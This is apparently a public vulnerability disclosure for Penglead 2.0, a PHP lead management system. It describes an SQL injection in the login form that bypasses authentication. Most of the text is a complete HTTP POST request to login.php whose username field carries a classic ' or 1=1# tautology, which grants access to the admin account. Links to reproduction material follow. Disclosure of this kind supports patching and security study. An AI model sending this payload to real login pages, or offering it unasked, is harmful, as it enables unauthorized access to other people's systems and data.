Penglead 2.0 SQL injection Bypass Authentication Vulnerability

## Title: penglead-2.0 SQLi-Bypass Authentication
## Author: nu11secur1ty
## Vendor: https://www.mayurik.com/
## Software: https://www.mayurik.com/source-code/P2760/lead-management-system-in-php-free-download
## Reference: https://portswigger.net/web-security/sql-injection


## Description:
The id parameter is vulnerable to SQLi - Bypass Authentication attacks. 
The attacker can easily get access to the admin account of the system then he can do very malicious stuff etc.

STATUS: HIGH-CRITICAL Vulnerability

[+]Exploit:
```MySQL
POST /penglead/login.php HTTP/1.1
Host: 192.168.100.45
Cookie: PHPSESSID=3qa8cq3da9t9rvr621vov0shsh
Content-Length: 88
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://192.168.100.45
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.100.45/penglead/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

username=nu11secur1ty%27+or+1%3D1%23&password=FSFFGDDGDGFDG&g-recaptcha-response=&login=
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/penglead-2.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/11/penglead-20-sqli-bypass-authentication.html)

## Time spent:
00:05:00